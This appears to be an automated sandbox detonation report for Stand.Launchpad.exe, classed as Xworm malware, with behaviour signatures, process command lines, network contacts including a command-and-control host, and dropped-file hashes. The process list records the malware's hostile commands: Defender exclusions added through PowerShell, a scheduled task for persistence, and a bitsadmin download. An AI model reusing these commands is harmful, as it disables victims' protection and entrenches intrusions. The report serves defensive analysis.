Analysis Overview
SHA256
78c046bf4410f5b0b31b2c7754129f7d957c1f6359a3becc4a282cb7047b250b
Threat Level: Known bad
The file Stand.Launchpad.exe was found to be: Known bad.
Malicious Activity Summary
Xworm
Detect Xworm Payload
Command and Scripting Interpreter: PowerShell
Drops startup file
Executes dropped EXE
Adds Run key to start application
Looks up external IP address via web service
Unsigned PE
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Modifies registry class
Suspicious behavior: AddClipboardFormatListener
Download via BitsAdmin
Suspicious behavior: EnumeratesProcesses
Suspicious use of SetWindowsHookEx
Creates scheduled task(s)
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-01 02:49
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-01 02:49
Reported
2024-06-01 02:52
Platform
win11-20240426-en
Max time kernel
149s
Max time network
141s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Xworm
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnk | C:\Users\Admin\AppData\Roaming\XClient.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnk | C:\Users\Admin\AppData\Roaming\XClient.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\XClient.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Stand.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Stand.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Stand.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000\Software\Microsoft\Windows\CurrentVersion\Run\Stand = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Stand.exe" | C:\Users\Admin\AppData\Roaming\XClient.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\schtasks.exe | N/A |
Download via BitsAdmin
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\Local Settings | C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\XClient.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\XClient.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\XClient.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\Stand.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\Stand.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\Stand.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\XClient.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe
"C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe"
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
C:\Users\Admin\AppData\Roaming\XClient.exe
"C:\Users\Admin\AppData\Roaming\XClient.exe"
C:\Windows\SysWOW64\bitsadmin.exe
"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/calamity-inc/Stand-Launchpad/releases/download/1.9/Stand.Launchpad.exe C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Stand.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Stand.exe'
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Stand" /tr "C:\Users\Admin\AppData\Local\Temp\Stand.exe"
C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe
"C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe"
C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| GB | 20.26.156.215:443 | github.com | tcp |
| US | 185.199.108.133:443 | objects.githubusercontent.com | tcp |
| DE | 193.161.193.99:57023 | Name1442-57023.portmap.host | tcp |
| DE | 193.161.193.99:57023 | Name1442-57023.portmap.host | tcp |
| US | 172.67.188.90:443 | stand.gg | tcp |
| US | 8.8.8.8:53 | 188.98.55.23.in-addr.arpa | udp |
| US | 172.67.188.90:443 | stand.gg | tcp |
| DE | 193.161.193.99:57023 | Name1442-57023.portmap.host | tcp |
| DE | 193.161.193.99:57023 | Name1442-57023.portmap.host | tcp |
| DE | 193.161.193.99:57023 | Name1442-57023.portmap.host | tcp |
| N/A | 127.0.0.1:57023 | tcp | |
| N/A | 127.0.0.1:57023 | tcp | |
| DE | 193.161.193.99:57023 | Name1442-57023.portmap.host | tcp |
| DE | 193.161.193.99:57023 | Name1442-57023.portmap.host | tcp |
| IE | 52.111.236.21:443 | tcp | |
| DE | 193.161.193.99:57023 | Name1442-57023.portmap.host | tcp |
| N/A | 127.0.0.1:57023 | tcp | |
| N/A | 127.0.0.1:57023 | tcp | |
| DE | 193.161.193.99:57023 | Name1442-57023.portmap.host | tcp |
| DE | 193.161.193.99:57023 | Name1442-57023.portmap.host | tcp |
| DE | 193.161.193.99:57023 | Name1442-57023.portmap.host | tcp |
| DE | 193.161.193.99:57023 | Name1442-57023.portmap.host | tcp |
| N/A | 127.0.0.1:57023 | tcp |
Files
memory/2408-0-0x00007FFA23E73000-0x00007FFA23E75000-memory.dmp
memory/2408-1-0x0000000000820000-0x0000000000848000-memory.dmp
C:\Users\Admin\AppData\Roaming\XClient.exe
| MD5 | f7b371488658801516db0d22a3fc3948 |
| SHA1 | 15600ac661d20f4f26ddb39375baaff177fc3fa6 |
| SHA256 | 4573ad85fc7b264ec446445852deeb377db879838a62c04340f771e866e45d3a |
| SHA512 | bd1d2fd8a03fb4329d84c43271ff1d08afb74f6e5b1166d441d19e2ce6657789e256cdbb97a114c3d19c704586d33c73156b9cb9096076de38cc1d84eeb7f310 |
memory/4556-16-0x0000000000AD0000-0x0000000000AF0000-memory.dmp
memory/4556-17-0x00007FFA23E70000-0x00007FFA24932000-memory.dmp
C:\Users\Admin\AppData\Roaming\Downloader.hta
| MD5 | 4ec749a8c1d7d0a4be501465d297d3dc |
| SHA1 | d7727cb4dc96d653bce6c6bbe70ff171ecc197b7 |
| SHA256 | 7bd2ea1be121e862cc93c8c41429d0f9d1d3b57478e586bbeed7d3d3be3a96f6 |
| SHA512 | 38d4ca973a3da55453dd37cb8965db223d42b03493b8d5390ab58cc3b53df1405119663f91bcef2ce2efc082ea17b0021c407eb65c6076d127408f2ff2c7d44e |
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_31qul0me.vpi.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2492-27-0x0000020A83400000-0x0000020A83422000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 627073ee3ca9676911bee35548eff2b8 |
| SHA1 | 4c4b68c65e2cab9864b51167d710aa29ebdcff2e |
| SHA256 | 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c |
| SHA512 | 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 1a9fa92a4f2e2ec9e244d43a6a4f8fb9 |
| SHA1 | 9910190edfaccece1dfcc1d92e357772f5dae8f7 |
| SHA256 | 0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888 |
| SHA512 | 5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | e986b73634e22802f2402cb14f45b25e |
| SHA1 | 03ec90c16740a1b7f1f4d6e564e8f3aa3be21098 |
| SHA256 | ec63cb606b1264f770e2d7c9649b00e5e8d261bc7e0be183741d8d5f1c1e1742 |
| SHA512 | b6358abf18ec0e1b86869d49dc3c81e53fca7b20b16b69506526d6cd0f18f305395155e9247f4b974640ed799dfd22ce4e770e5c877ddc27747063c9693f60bf |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 34e3230cb2131270db1af79fb3d57752 |
| SHA1 | 21434dd7cf3c4624226b89f404fd7982825f8ac6 |
| SHA256 | 0f162f27548a84db1638bcf46d03661b5bcb3032e765fafdb597cc107639ba39 |
| SHA512 | 3756cb01e82dbda681b562eae74d0b8ef8b3787b126119a51a92c51a78204a7805b9bdd60c00c50a3be23b843e78bb153b656540767069f739ce421b9bc02335 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Stand.Launchpad.exe.log
| MD5 | 2cbbb74b7da1f720b48ed31085cbd5b8 |
| SHA1 | 79caa9a3ea8abe1b9c4326c3633da64a5f724964 |
| SHA256 | e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3 |
| SHA512 | ecf02d5240e0c1c005d3ab393aa7eff62bd498c2db5905157e2bf6d29e1b663228a9583950842629d1a4caef404c8941a0c7799b1a3bd1eb890a09fdb7efcff9 |
memory/1844-69-0x00000161AFDA0000-0x00000161AFDB6000-memory.dmp
memory/4556-84-0x00007FFA23E70000-0x00007FFA24932000-memory.dmp